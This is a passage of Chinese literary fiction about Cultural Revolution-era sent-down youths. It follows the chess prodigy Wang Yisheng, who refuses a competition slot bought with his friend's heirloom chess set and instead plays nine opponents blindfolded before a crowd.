下拿出一个小布包来，打开一看，都是一小点儿大的子儿，磨得是光了又光，赛象牙，可上头没字儿。妈说，‘我不识字，怕刻不对。你拿了去，自己刻吧，也算妈疼你好下棋。’我们家多困难，我没哭过，哭管什么呢？可看着这副没字儿的棋，我绷不住了。”

　　我鼻子有些酸，就低了眼，叹道：“唉，当母亲的。”王一生不再说话，只是抽烟。

　　山上的人下来了，打到两条蛇。大家见了王一生，都很客气，问是几分场的，那边儿伙食怎么样。王一生答了，就过去摸一摸晾着的衣裤，还没有干。我让他先穿我的，他说吃饭要出汗，先光着吧。大家见他很随和，也就随便聊起来。我自然将王一生的棋道吹了一番，以示来者不凡。大家都说让队里的高手“脚卵”来与王一生下。一个人跑了去喊，不一刻，脚卵来了。脚卵是南方大城市的知识青年，个子非常高，又非常瘦。动作起来颇有些文气，衣服总要穿得整整齐齐，有时候走在山间小路上，看到这样一个高个儿纤尘不染，衣冠楚楚，真令人生疑。脚卵弯腰进来，很远就伸出手来要握，王一生糊涂了一下，马上明白了，也伸出手去，脸却红了。握过手，脚卵把双手捏在一起端在肚子前面，说：“我叫倪斌，人儿倪，文武斌。因为腿长，大家叫我脚卵。卵是很粗俗的话，请不要介意，这里的人文化水平是很低的。贵姓？”王一生比倪斌矮下去两个头，就仰着头说：“我姓王，叫王一生。”倪斌说：“王一生？蛮好，蛮好，名字蛮好的。一生是哪两个字？”王一生直仰着脖子，说：“一二三的一，生活的生。”倪斌说：“蛮好，蛮好。”就把长臂曲着往外一摆，说：“请坐。听说你钻研象棋？蛮好，蛮好，象棋是很高级的文化。我父亲是下得很好的，有些名气，喏，他们都知道的。我会走一点点，很爱好，不过在这里没有对手。你请坐。”王一生坐回床上，很尴尬地笑着，不知说什么好。倪斌并不坐下，只把手虚放在胸前，微微向前侧了一下身子，说：“对不起，我刚刚下班，还没有梳洗，你候一下好了，我马上就来。噢，问一下，乃父也是棋道里的人么？”王一生很快地摇头，刚要说什么，但只是喘了一口气。倪斌说：“蛮好，蛮好。好，一会儿我再来。”我说：“脚卵洗了澡，来吃蛇肉。”倪斌一边退出去，一边说：“不必了，不必了。好的，好的。”大家笑起来，向外嚷：“你到底来是不来？什么‘不必了，好的’！”倪斌在门外说：“蛇肉当然是要吃的，一会儿下棋是要动脑筋的。”

　　大家笑着脚卵，关了门，三四个人精着屁股，上上下下地洗，互相开着身体的玩笑。王一生不知在想什么，坐在床里边，让开擦身的人。我一边将蛇头撕下来，一边对王一生说：“别理脚卵，他就是这么神神道道的一个人。”有一个人对我说：“你的这个朋友要真是有两下子，今天有一场好杀。脚卵的父亲在我们市里，真是很有名气哩。”另外的人说：“爹是爹，儿是儿，棋还遗传了？”王一生说：“家传的棋，有厉害的。几代沉下的棋路，不可小看。一会儿下起来看吧。”说着就紧一紧手脸。我把蛇挂起来，将皮剥下，不洗，放在案板上，用竹刀把肉划开，并不切断，盘在一个大碗内，放近一个大锅里，锅底蓄上水，叫：“洗完了没有？我可开门了！”大家慌忙穿上短裤。我到外边地上摆三块土坯，中间架起柴引着，就将锅放在土坯上，把猪吆喝远了，说：“谁来看看？别叫猪拱了。开锅后十分钟端下来。”就进屋收拾茄子。

　　有人把脸盆洗干净，到伙房打了四五斤饭和一小盆清水茄子，捎回来一棵葱和两瓣野蒜、一小块姜，我说还缺盐，就又有人跑去拿来一块，捣碎在纸上放着。

　　脚卵远远地来了，手里抓着一个黑木盒子。我问：“脚卵，可有酱油膏？”脚卵迟疑了一下，返身回去。我又大叫：“有醋精拿点儿来！”

　　蛇肉到了时间，端进屋里，掀开锅，一大团蒸气冒出来，大家并不缩头，慢慢看清了，都叫一声好。两大条蛇肉亮晶晶地盘在碗里，粉粉地冒蒸气。我嗖的一下将碗端出来，吹吹手指，说：“开始准备胃液吧！”王一生也挤过来看，问：“整着怎么吃？”我说：“蛇肉碰不得铁，碰铁就腥，所以不切，用筷子撕着蘸料吃。”我又将切好的茄块儿放进锅里蒸。

　　脚卵来了，用纸包了一小块儿酱油膏，又用一张小纸包了几颗白色的小粒儿，我问是什么，脚卵说：“这是草酸，去污用的，不过可以代替醋。我没有醋精，酱油膏也没有了，就这一点点。”我说：“凑合了。”脚卵把盒子放在床上，打开，原来是一副棋，乌木做的棋子，暗暗的发亮。字用刀刻出来，笔划很细，却是篆字，用金丝银丝嵌了，古色古香。棋盘是一幅绢，中间亦是篆字：楚河汉界。大家凑过去看，脚卵就很得意，说：“这是古董，明朝的，很值钱。我来的时候，我父亲给我的。以前和你们下棋，用不到这么好的棋。今天王一生来嘛，我们好好下。”王一生大约从来没有见过这么精彩的棋具，很小心地摸，又紧一紧手脸。

　　我将酱油膏和草酸冲好水，把葱末、姜末和蒜末投进去，叫声：“吃起来！”大家就乒乒乓乓地盛饭，伸筷撕那蛇肉蘸料，刚入嘴嚼，纷纷嚷鲜。

　　我问王一生是不是有些像蟹肉，王一生一边儿嚼着，一边儿说：“我没吃过螃蟹，不知道。”脚卵伸过头去问：“你没有吃过螃蟹？怎么会呢？”王一生也不答话，只顾吃。脚卵就放下碗筷，说：“年年中秋节，我父亲就约一些名人到家里来，吃螃蟹，下棋，品酒，作诗。都是些很高雅的人，诗做得很好的，还要互相写在扇子上。这些扇子过多少年也是很值钱的。”大家并不理会他，只顾吃。脚卵眼看蛇肉渐少，也急忙捏起筷子来，不再说什么。

　　不一刻，蛇肉吃完，只剩两副蛇骨在碗里。我又把蒸熟的茄块儿端上来，放小许蒜和盐拌了。再将锅里热水倒掉，续上新水，把蛇骨放进去熬汤。大家喘一口气，接着伸筷，不一刻，茄子也吃净。我便把汤端上来，蛇骨已经煮散，在锅底刷拉刷拉地响。这里屋外常有一二处小丛的野茴香，我就拔来几棵，揪在汤里，立刻屋里异香扑鼻。大家这时饭已吃净，纷纷舀了汤在碗里，热热的小口呷，不似刚才紧张，话也多起来了。

　　脚卵抹一抹头发，说：“蛮好，蛮好的。”就拿出一支烟，先让了王一生，又自己叼了一支，烟包正待放回衣袋里，想了想，便放在小饭桌上，摆一摆手说：“今天吃的，都是山珍，海味是吃不到了。我家里常吃海味的，非常讲究，据我父亲讲，我爷爷在时，专雇一个老太婆，整天就是从燕窝里拔脏东西。燕窝这种东西，是海鸟叼来小鱼小虾，用口水粘起来的，所以里面各种脏东西多得很，要很细心地一点一点清理，一天也就能搞清一个，再用小火慢慢地蒸。每天吃一点，对身体非常好。”王一生听呆了，问：“一个人每天就专门是管做燕窝的？好家伙！自己买来鱼虾，熬在一起，不等于燕窝吗？”脚卵微微一笑，说：“要不怎么燕窝贵呢？第一，这燕窝长在海中峭壁上，要拼命去挖。第二，这海鸟的口水是很珍贵的东西，是温补的。因此，舍命，费工时，又是补品，能吃燕窝，也是说明家里有钱和有身份。”大家就说这燕窝一定非常好吃。脚卵又微微一笑，说：“我吃过的，很腥。”大家就感叹了，说费这么多钱，吃一口腥，太划不来。

　　天黑下来，早升在半空的月亮渐渐亮了。我点起油灯，立刻四壁都是人影子。脚卵就说：“王一生，我们来下一盘？”王一生大概还没有从燕窝里醒过来，听见脚卵问，只微微点一点头。脚卵出去了。王一生奇怪了，问：“嗯？”大家笑而不答。一会儿，脚卵又来了，穿得笔挺，身后随来许多人，进屋都看看王一生。脚卵慢慢摆好棋，问：“你先走？”王一生说：“你吧。”大家就上上下下围了看。

　　走出十多步，王一生有些不安，但也只是暗暗捻一下手指。走过三十几步，王一生很快地说：“重摆吧。”大家奇怪，看看王一生，又看看脚卵，不知是谁赢了。脚卵微微一笑，说：“一赢不算胜。”就伸手抽一颗烟点上。王一生没有表情，默默地把棋重新码好。两人又走。又走到十多步，脚卵半天不动，直到把一根烟吸完，又走了几步，脚卵慢慢地说：“再来一盘。”大家又奇怪是谁赢了，纷纷问。王一生很快地将棋码成一个方堆，看看脚卵问：“走盲棋？”脚卵沉吟了一下，点点头。两人就口述棋步。好几个人摸摸头，摸摸脖子，说下得好没意思，不知谁是赢家。就有几个人离开走出去，把油灯带得一明一暗。

　　我觉出有点儿冷，就问王一生：“你不穿点儿衣裳？”王一生没有理我。我感到没有意思，就坐在床里，看大家也是一会儿看看脚卵，一会儿看看王一生，像是瞧从来没有见过的两个怪物。油灯下，王一生抱了双膝，锁骨后陷下两个深窝，盯着油灯，时不时拍一下身上的蚊虫。脚卵两条长腿抵在胸口，一只大手将整个儿脸遮了，另一只大手飞快地将指头捏来弄去。说了许久，脚卵放下手，很快地笑一笑，说：“我乱了，记不得。”就又摆了棋再下。不久，脚卵抬起头，看着王一生说：“天下是你的。”抽出一支烟给王一生，又说：“你的棋是跟谁学的？”王一生也看着脚卵，说：“跟天下人。”脚卵说：“蛮好，蛮好，你的棋蛮好。”大家看出是谁赢了，都高兴松动起来，盯着王一生看。

　　脚卵把手搓来搓去，说：“我们这里没有会下棋的人，我的棋路生了。今天碰到你，蛮高兴的，我们做个朋友。”王一生说：“将来有机会，一定见见你父亲。”脚卵很高兴，说：“那好，好极了，有机会一定去见见他。我不过是玩玩棋。”停了一会儿，又说：“你参加地区的比赛，没有问题。”王一生问：“什么比赛？”脚卵说：“咱们地区，要组织一个运动会，其中有棋类。地区管文教的书记我认得，他早年在我们市里，与我父亲认识。我到农场来，我父亲给他带过信，请他照顾。我找过他，他说我不如打篮球。我怎么会打篮球呢？那是很野蛮的运动，要伤身体的。这次运动会，他来信告诉我，让我争取参加农场的棋类队到地区比赛，赢了，调动自然好说。你棋下到这个地步，参加农场队，不成问题。你回你们场，去报名就可以了。将来总场选拔，肯定会有你。”王一生很高兴，起来把衣裳穿上，显得更瘦。大家又聊了很久。

　　将近午夜，大家都散去，只剩下宿舍里同住的四个人与王一生、脚卵。脚卵站起来，说：“我去拿些东西来吃。”大家都很兴奋，等着他。一会儿，脚卵弯腰进来，把东西放在床上，摆出六颗巧克力，半袋麦乳精，纸包的一斤精白挂面。巧克力大家都一口咽了，来回舔着嘴唇。麦乳精冲成稀稀的六碗，喝得满屋喉咙响。王一生笑嘻嘻地说：“世界上还有这种东西？苦甜苦甜的。”我又把火升起来，开了锅，把面下了，说：“可惜没有调料。”脚卵说：“我还有酱油膏。”我说：“你不是只有一小块儿了吗？”脚卵不好意思地说：“咳，今天不容易，王一生来了，我再贡献一些。”就又拿了来。

　　大家吃了，纷纷点起烟，打着哈欠，说没想到脚卵还有如许存货，藏得倒严实，脚卵急忙申辩这是剩下的全部了。大家吵着要去翻，王一生说：“不要闹，人家的是人家的，从来农场存到现在，说明人家会过日子。倪斌，你说，这比赛什么时候开始呢？”脚卵说：“起码还有半年。”王一生不再说话。我说：“好了，休息吧。王一生，你和我睡在我的床上。脚卵，明天再聊。”大家就起身收拾床铺，放蚊帐。我和王一生送脚卵到门口，看他高高的个子在青白的月光下远远去了。王一生叹一口气，说：“倪斌是个好人。”

　　王一生又呆了一天，第三天早上，执意要走。脚卵穿了破衣服，肩了锄来送。两人握了手，倪斌说：“后会有期。”大家远远在山坡上招手。我送王一生出了山沟，王一生拦住，说：“回去吧。”我嘱咐他，到了别的分场，有什么困难，托人来告诉我，若回来路过，再来玩儿。王一生整了整书包带儿，就急急地顺公路走了，脚下扬起细土，衣裳晃来晃去，裤管儿前后荡着，像是没有屁股。

第三章

　　这以后，大家没事儿，常提起王一生，津津有味儿的回忆王一生光膀子大战脚卵。我说了王一生如何如何不容易，脚卵说：“我父亲说过的，‘寒门出高士’。据我父亲讲，我们祖上是元朝的倪云林。倪祖很爱干净，开始的时候，家里有钱，当然是讲究的。后来兵荒马乱，家道败了，倪祖就卖了家产，到处走，常在荒野店投宿，很遇到一些高士。后来与一个会下棋的村野之人相识，学得一手好棋。现在大家只晓得倪云林是元四家里的一个，诗书画绝佳，却不晓得倪云林还会下棋。倪祖后来信佛参禅，将棋炼进禅宗，自成一路。这棋只我们这一宗传下来。王一生赢了我，不晓得他是什么路，总归是高手了。”大家都不知道倪云林是什么人，只听脚卵神吹，将信将疑，可也认定脚卵的棋有些来路，王一生既然赢了脚卵，当然更了不起。这里的知青在城里都是平民出身，多是寒苦的，自然更看重王一生。

　　将近半年，王一生不再露面。只是这里那里传来消息，说有个叫王一生的，外号棋呆子，在某处与某某下棋，赢了某某。大家也很高兴，即使有输的消息，都一致否认，说王一生怎会输棋呢？我给王一生所在的分场队里写了信，也不见回音，大家就催我去一趟。我因为这样那样的事，加上农场知青常常斗殴，又输进火药枪互相射击，路途险恶，终于没有去。

　　一天脚卵在山上对我说，他已经报名参加棋类比赛了，过两天就去总场，问王一生可有消息？我说没有。大家就说王一生肯定会到总场比赛，相约一起请假去总场看看。

　　过了两天，队里的活儿稀松，大家就纷纷找了各种藉口请假到总场，盼着能见着王一生。我也请了假出来。

　　总场就在地区所在地，大家走了两天才到。这个地区虽是省以下的行政单位，却只有交叉的两条街，沿街有一些商店，货架上不是空的，即是“展品概不出售”。可是大家仍然很兴奋，觉得到了繁华地界，就沿街一个馆子一个馆子地吃，都先只叫净肉，一盘一盘地吞下去，拍拍肚子出来，觉得日光晃眼，竟有些肉醉，就找了一处草地，躺下来抽烟，又纷纷昏睡过去。

　　醒来后，大家又回到街上细细吃了一些面食，然后到总场去。

　　一行人高高兴兴到了总场，找到文体干事，问可有一个叫王一生的来报到。干事翻了半天花名册，说没有。大家不信，拿过花名册来七手八脚地找，真的没有，就问干事是不是搞漏掉了。干事说花名册是按各分场报上来的名字编的，都已分好号码，编好组，只等明天开赛。大家你望望我，我望望你，搞不清是怎么回事儿。我说：“找脚卵去。”脚卵在运动员们住下的草棚里，见了他，大家就问。脚卵说：“我也奇怪呢。这里乱糟糟的，我的号是棋类，可把我分到球类组来，让我今晚就参加总场联队训练，说了半天也不行，还说主要靠我进球得分。”大家笑起来，说：“管他赛什么，你们的伙食差不了。可王一生没来太可惜了。”

　　直到比赛开始，也没有见王一生的影子。问了他们分场来的人，都说很久没见王一生了。大家有些慌，又没办法，只好去看脚卵赛篮球。脚卵痛苦不堪，规矩一点儿不懂，球也抓不住，投出去总是三不沾，抢得猛一些，他就抽身出来，瞪着大眼看别人争。文体干事急得抓耳挠腮，大家又笑得前仰后合。每场下来，脚卵总是嚷野蛮，埋怨脏。

　　赛了两天，决出总场各类运动代表队，到地区参加地区决赛。大家看看王一生还没有影子，就都相约要回去了。脚卵要留在地区文教书记家再待一两天，就送我们走一段。快到街口，忽然有人一指：“那不是王一生？”大家顺着方向一看，真是他。王一生在街口另一面急急地走来，没有看见我们。我们一齐大叫，他猛地站住，看见我们，就横街向我们跑来。到了跟前，大家纷纷问他怎么不来参加比赛？王一生很着急的样子，说：“这半年我总请事假出来下棋，等我知道报名赶回去，分场说我表现不好，不准我出来参加比赛，连名都没报上。我刚找了由头儿，跑上来看看赛得怎么样。怎么样？赛得怎么样？”大家一迭声儿地说早赛完了，现在是参加与各县代表队的比赛，夺地区冠军。王一生愣了半晌，说：“也好，夺地区冠军必是各县高手，看看也不赖。”我说：“你还没吃东西吧？走，街上随便吃点儿什么去。”脚卵与王一生握过手，也惋惜不已。大家就又拥到一家小馆儿，买了一些饭菜，边吃边叹息。王一生说：“我是要看看地区的象棋大赛。你们怎么样？要回去吗？”大家都说出来的时间太长了，要回去。我说：“我再陪你一两天吧。脚卵也在这里。”于是又有两三个人也说留下来再耍一耍。

　　脚卵就领留下的人去文教书记家，说是看看王一生还有没有参加比赛的可能。走不多久，就到了。只见一扇小铁门紧闭着，进去就有人问找谁，见了脚卵，不再说什么，只让等一下。一会儿叫进了，大家一起走进一幢大房子，只见窗台上摆了一溜儿花草，伺候得很滋润。大大的一面墙上只一幅主席诗词的挂轴儿，绫子黄黄的很浅。屋内只摆几把藤椅，茶几上放着几张大报与油印的简报。不一会儿，书记出来，胖胖的，很快地与每个人握手，又叫人把简报收走，就请大家坐下来。大家没见过管着几个县的人的家，头都转来转去地看。书记呆了一下，就问：“都是倪斌的同学吗？”大家纷纷回过头看书记，不知该谁回答。脚卵欠一下身，说：“都是我们队上的。这一位就是王一生。”说着用手掌向王一生一倾。书记看着王一生说：“噢，你就是王一生？好。这两天，倪斌常提到你。怎么样，选到地区来赛了吗？”王一生正想答话，倪斌马上就说：“王一生这次有些事耽误了，没有报上名。现在事情办完了，看看还能不能参加地区比赛。您看呢？”书记用胖手在扶手上轻轻拍了两下，又轻轻用中指很慢地擦着鼻沟儿，说：“啊，是这样。不好办。你没有取得县一级的资格，不好办。听说你很有天才，可是没有取得资格去参加比赛，下面要说话的，啊？”王一生低了头，说：“我也不是要参加比赛，只是来看。”书记说：“那是可以的，那欢迎。倪斌，你去桌上，左边的那个桌子，上面有一份打印的比赛日程。你拿来看看，象棋类是怎么安排的。”倪斌早一步跨进里屋，马上把材料拿出来，看了一下，说：“要赛三天呢！”就递给书记。书记也不看，把它放在茶几上，掸一掸手，说：“是啊，几个县嘛。啊？还有什么问题吗？”大家都站起来，说走了。书记与离他近的人很快地握了手，说：“倪斌，你晚上来，嗯？”倪斌欠欠身说好的，就和大家一起出来。大家到了街上，舒了一口气，说笑起来。

　　大家漫无目的地在街上走，讲起还要在这里呆三天，恐怕身上的钱支持不住。王一生说他可以找到睡觉的地方，人多一点恐怕还是有办法，这样就能不去住店，省下不少钱。倪斌不好意思地说他可以住在书记家。于是大家一起随王一生去找住的地方。

　　原来王一生已经来过几次地区，认识了一个文化馆画画儿的，于是便带了我们投奔这位画家。到了文化馆，一进去，就听见远远有唱的，有拉的，有吹的，便猜是宣传队在演练。只见三四个女的，穿着蓝线衣裤，胸蹶得不能再高，一扭一扭地走过来，近了，并不让路，直脖直脸地过去。我们赶紧闪在一边儿，都有点儿脸红。倪斌低低地说：“这几位是地区的名角。在小地方，有她们这样的功夫，蛮不容易的。”大家就又回过头去看名角。

　　画家住在一个小角落里，门口鸡鸭转来转去，沿墙摆了一溜儿各类杂物，草就在杂物中间长出来。门又被许多晒着的衣裤布单遮住。王一生领我们从衣裤中弯腰过去，叫那画家。马上就乒乒乓乓出来一个人，见了王一生，说：“来了？都进来吧。”画家只是一间小屋，里面一张小木床，到处是书、杂志、颜色和纸笔。墙上钉满了画的画儿。大家顺序进去，画家就把东西挪来挪去腾地方，大家挤着坐下，不敢再动。画家又迈过大家出去，一会儿提来一个暖瓶，给大家倒水。大家传着各式的缸子、碗，都有了，捧着喝。画家也坐下来，问王一生：“参加运动会了吗？”王一生叹着将事情讲了一遍。画家说：“只好这样了。要待几天呢？”王一生就说：“正是为这事来找你。这些都是我的朋友。你看能不能找个地方，大家挤一挤睡？”画家沉吟半晌，说：“你每次来，在我这里挤还凑合。这么多人，嗯——让我看看。”他忽然眼里放出光采来，说：“文化馆里有个礼堂，舞台倒是很大。今天晚上为运动会的人演出，演出之后，你们就在舞台上睡，怎么样？今天我还可以带你们进去看演出。电工与我很熟的，跟他说一声，进去睡没问题。只不过脏一些。”大家都纷纷说再好不过了。脚卵放下心的样子，小心地站起来，说：“那好，诸位，我先走一步。”大家要站起来送，却谁也站不起来。脚卵按住大家，连说不必了，一脚就迈出屋外。画家说：“好大的个子！是打球的吧？”大家笑起来，讲了脚卵的笑话。画家听了，说：“是啊，你们也都够脏的。走，去洗洗澡，我也去。”大家就一个一个顺序出去，还是碰得叮当乱响。

　　原来这地区所在地，有一条江远远流过。大家走了许久，方才到了。江面不甚宽阔，水却很急，近岸的地方，有一些小洼儿。四处无人，大家脱了衣裤，都很认真地洗，将画家带来的一块肥皂用完。又把衣裤泡了，在石头上抽打，拧干后铺在石头上晒，除了游水的，其馀便纷纷趴在岸上晒。画家早洗完，坐在一边儿，掏出个本子在画。我发觉了，过去站在他身后看。原来他在画我们几个人的裸体速写。经他这一画，我倒发觉我们这些每日在山上苦的人，却矫健异常，不禁赞叹起来。大家又围过来看，屁股白白的晃来晃去。画家说：“干活儿的人，肌肉线条极有特点，又很分明。虽然各部份发展可能不太平衡，可真的人体，常常是这样，变化万端。我以前在学院画人体，女人体居多，太往标准处靠，男人体也常静在那里，感觉不出肌肉滚动，越画越死。今天真是个难得的机会。”有人说羞处不好看，画家就在纸上用笔把说的人的羞处涂成一个疙瘩，大家就都笑起来。衣裤干了，纷纷穿上。

　　这时已近傍晚，太阳垂在两山之间，江面上便金子一般滚动，岸边石头也如热铁般红起来。有鸟儿在水面上掠来掠去，叫声传得很远。对岸有人在拖长声音吼山歌，却不见影子，只觉声音慢慢小了。大家都凝了神看。许久，王一生长叹一声，却不说什么。

　　大家又都往回走，在街上拉了画家一起吃些东西，画家倒好酒量。天黑了，画家领我们到礼堂后台入口，与一个人点头说了，招呼大家悄悄进去，缩在边幕上看。时间到了，幕并不开，说是书记还未来。演员们化了妆，在后台走来走去，伸一伸手脚，互相取笑着。忽然外面响动起来，我拨了幕布一看，只见书记缓缓进来，在前排坐下，周围空着，后面黑压压一礼堂人。于是开演，演出甚为激烈，尘土四起。演员们在台上泪光闪闪，退下来一过边幕，就嬉笑颜开，连说怎么怎么错了。王一生倒很入戏，脸上时阴时晴，嘴一直张着，全没有在棋盘前的镇静。戏一结束，王一生一个人在边幕拍起手来，我连忙止住他，向台下望去，书记不知什么时候已经走了，前两排仍然空着。

　　大家出来，摸黑拐到画家家里，脚卵已在屋里，见我们来了，就与画家出来和大家在外面站着，画家说：“王一生，你可以参加比赛了。”王一生问：“怎么回事儿？”脚卵说，晚上他在书记家里，书记跟他叙起家常，说十几年前常去他家，见过不少字画儿，不知运动起来，损失了没有？脚卵说还有一些，书记就不说话了。过了一会儿书记又说，脚卵的调动大约不成问题，到地区文教部门找个位置，跟下面打个招呼，办起来也快，让脚卵写信回家讲一讲。于是又谈起字画古董，说大家现在都不知道这些东西的价值，书记自己倒是常在心里想着。脚卵就说，他写信给家里，看能不能送书记一两幅，既然书记帮了这么大忙，感谢是应该的。又说，自己在队里有一副明朝的乌木棋，极是考究，书记若是还看得上，下次带上来。书记很高兴，连说带上来看看。又说你的朋友王一生，他倒可以和下面的人说一说，一个地区的比赛，不必那么严格，举贤不避私嘛。就挂了电话，电话里回答说，没有问题，请书记放心，叫王一生明天就参加比赛。

　　大家听了，都很高兴，称赞脚卵路道粗，王一生却没说话。脚卵走后，画家带了大家找到电工，开了礼堂后门，悄悄进去。电工说天凉了，问要不要把幕布放下来垫盖着，大家都说好，就七手八脚爬上去摘下幕布铺在台上。一个人走到台边，对着空空的座位一敬礼，尖着嗓子学报幕员，说：“下一个节目——睡觉。现在开始。”大家悄悄地笑，纷纷钻进幕布躺下了。

　　躺下许久，我发觉王一生还没有睡着，就说：“睡吧，明天要参加比赛呢！”王一生在黑暗里说：“我不赛了，没意思。倪斌是好心，可我不想赛了。”我说：“咳，管它！你能赛棋，脚卵能调上来，一副棋算什么？”王一生说：“那是他父亲的棋呀！东西好坏不说，是个信物。我妈妈留给我的那副无字棋，我一直性命一样存着，现在生活好了，妈的话，我也忘不了。倪斌怎么就可以送人呢？”我说：“脚卵家里有钱，一副棋算什么呢？他家里知道儿子活得好一些了，棋是舍得的。”王一生说：“我反正是不赛了，被人作了交易，倒像是我沾了便宜。我下得赢下不赢是我自己的事，这样赛，被人戳脊梁骨。”不知是谁也没睡着，大约都听见了，咕噜一声：“呆子。”

第四章

　　第二天一早儿，大家满身是土地起来，找水擦了擦，又约画家到街上去吃。画家执意不肯，正说着，脚卵来了，很高兴的样子。王一生对他说：“我不参加这个比赛。”大家呆了，脚卵问：“蛮好的，怎么不赛了呢？省里还下来人视察呢！”王一生说：“不赛就不赛了。”我说了说，脚卵叹道：“书记是个文化人，蛮喜欢这些的。棋虽然是家里传下的，可我实在受不了农场这个罪，我只想有个干净的地方住一住，不要每天脏兮兮的。棋不能当饭吃的，用它通一些关节，还是值的。家里也不很景气，不会怪我。”画家把双臂抱在胸前，抬起一只手摸了摸脸，看着天说：“倪斌，不能怪你。你没有什么了不得的要求。我这两年，也常常犯糊涂，生活太具体了。幸亏我还会画画儿。何以解忧？唯有——唉。”王一生很惊奇的看着画家，慢慢转了脸对脚卵说：“倪斌，谢谢你。这次比赛决出高手，我登门去与他们下。我不参加这次比赛了。”脚卵忽然很兴奋，攥起大手一顿，说：“这样，这样！我呢，去跟书记说一下，组织一个友谊赛。你要是赢了这次的冠军，无疑是真正的冠军。输了呢，也不太失身份。”王一生呆了呆：“千万不要跟什么书记说，我自己找他们下。要下，就与前三名都下。”

　　大家也不好再说什么，就去看各种比赛，倒也热闹。王一生只钻在棋类场地外面，看各局的明棋。第三天，决出前三名。之后是发奖，又是演出，会场乱哄哄的，也听不清谁得的是什么奖。

　　脚卵让我们在会场等着，过了不久，就领来两个人，都是制服打扮。脚卵作了介绍，原来是象棋比赛的第二、三名。脚卵说：“这位是王一生，棋蛮厉害的，想与你们两位高手下一下，大家也是一个互相学习的机会。”两个人看了看王一生，问：“那怎么不参加比赛呢？我们在这里呆了许多天，要回去了。”王一生说：“我不耽误你们，与你们两人同时下。”两人互相看了看，忽然悟到，说：“盲棋？”王一生点一点头。两人立刻变了态度，笑着说：“我们没下过盲棋。”王一生说：“不要紧，你们看着明棋下。来，咱们找个地方儿。”话不知怎么就传了出去，立刻嚷动了，会场上各县的人都说有一个农场的小子没有赛着，不服气，要同时与亚、季军比试。百十个人把我们围了起来，挤来挤去地看，大家觉得有了责任，便站在王一生身边儿。王一生倒低了头，对两个人说：“走吧，走吧，太扎眼。”有一个人挤了进来，说：“哪个要下棋？就是你吗？我们大爷这次是冠军，听说你不服气，叫我来请你。”王一生慢慢地说：“不必。你大爷要是肯下，我和你们三人同下。”众人都轰动了，拥着往棋场走去。到了街上，百十人走成一片。行人见了，纷纷问怎么回事，可是知青打架？待明白了，就都跟着走。走过半条街，竟有上千人跟着跑来跑去。商店里的店员和顾客也都站出来张望。长途车路这里开不过，乘客们纷纷探出头来，只见一街人头攒动，尘土飞起多高，轰轰的，乱纸踏得嚓嚓响。一个傻子呆呆地在街中心，咿咿呀呀地唱，有人发了善心，把他拖开，傻子就依了墙根儿唱。四五条狗窜来窜去，觉得是它们在引路打狼，汪汪叫着。

　　到了棋场，竟有数千人围住，土扬在半空，许久落不下来。棋场的标语标志早已摘除，出来一个人，见这么多人，脸都白了。脚卵上去与他交涉，他很快地看着众人，连连点头儿，半天才明白是借场子用，急忙打开门，连说“可以可以”，见众人都要进去，就急了。我们几个，马上到门口守住，放进脚卵、王一生和两个得了名誉的人。这时有一个人走出来，对我们说：“高手既然和三个人下，多我一个不怕，我也算一个。”众人又嚷动了，又有人报名。我不知怎么办好，只得进去告诉王一生。王一生咬一咬嘴说：“你们两个怎么样？”那两个人赶紧站起来，连说可以。我出去统计了，连冠军在内，对手共是十人，脚卵说：“十不吉利的，九个人好了。”于是就九个人。冠军总不见来，有人来报，既是下盲棋，冠军只在家里，命人传棋。王一生想了想，说好吧。九个人就关在场里。墙外一副明棋不够用，于是有人拿来八张整开白纸，很快地画了格儿。又有人用硬纸剪了百十个方棋子儿，用红黑颜色写了，背后粘上细绳，挂在棋格儿的钉子上，风一吹，轻轻地晃成一片，街上人也嚷成一片。

　　人是越来越多。后来的人拼命往前挤，挤不进去，就抓住人打听，以为是杀人的告示。妇女们也抱着孩子们，远远围成一片。又有许多人支了自行车，站在后架上伸脖子看，人群一挤，连着倒，喊成一团。半大的孩子们钻来钻去，被大人们用腿拱出去。数千人闹闹嚷嚷，街上像半空响着闷雷。

　　王一生坐在场当中一个靠背椅上，把手放在两条腿上，眼睛虚望着，一头一脸都是土，像是被传讯的歹人。我不禁笑起来，过去给他拍一拍土。他按住我的手，我觉出他有些抖。王一生低低地说：“事情闹大了。你们几个朋友看好，一有动静，一起跑。”我说：“不会。只要你赢了，什么都好办。争口气。怎么样？有把握吗？九个人哪！头三名都在这里！”王一生沉吟了一下，说：“怕江湖的不怕朝廷的，参加过比赛的人的棋路我都看了，就不知道其他六个人会不会冒出冤家。书包你拿着，不管怎么样，书包不能丢。书包里有……”王一生看了看我，“我妈的无字棋。”他的瘦脸上又干又脏，鼻沟也黑了，头发立着，喉咙一动一动的，两眼黑得吓人。我知道他拼了，心里有些酸，只说：“保重！”就离了他。他一个人空空地在场中央，谁也不看，静静的像一块铁。

　　棋开始了。上千人不再出声儿。只有自愿服务的人一会儿紧一会儿慢地用话传出棋步，外边儿自愿服务的人就变动着棋子儿。风吹得八张大纸哗哗地响，棋子儿荡来荡去。太阳斜斜地照在一切上，烧得耀眼。前几十排的人都坐下了，仰起头看，后面的人也挤得紧紧的，一个个土眉土眼，头发长长短短吹得飘，再没人动一下，似乎都把命放在棋里搏。

　　我心里忽然有一种很古的东西涌上来，喉咙紧紧地往上走。读过的书，有的近了，有的远了，模糊了。平时十分佩服的项羽、刘邦都目瞪口呆，倒是尸横遍野的那些黑脸士兵，从地下爬起来，哑了喉咙，慢慢移动。一个樵夫，提了斧在野唱。忽然又仿佛见了呆子的母亲，用一双弱手一张一张地折书页。

　　我不由伸手到王一生书包里去掏摸，捏到一个小布包儿，拽出来一看，是个旧蓝斜纹布的小口袋，上面绣了一只蝙蝠，布的四边儿都用线做了圈口，针脚很是细密。取出一个棋子，确实很小，在太阳底下竟是半透明的，像是一只眼睛，正柔和地瞧着。我把它攥在手里。

　　太阳终于落下去，立即爽快了。人们仍在看着，但议论起来。里边儿传出一句王一生的棋步，外面的人就嚷动一下。专有几个人骑车为在家的冠军传送着棋步，大家就不太客气，笑话起来。

　　我又进去，看见脚卵很高兴的样子，心里就松开一些，问：“怎么样？我不懂棋。”脚卵抹一抹头发，说：“蛮好，蛮好。这种阵式，我从来也没有见过，你想想看，九个人与他一个人，九局连环！车轮大战！我要写信给我的父亲，把这次的棋谱都寄给他。”这时有两个人从各自的棋盘前站起来，朝着王一生鞠躬，说：“甘拜下风。”就捏着手出去了。王一生点点头儿，看了他们的位置一眼。

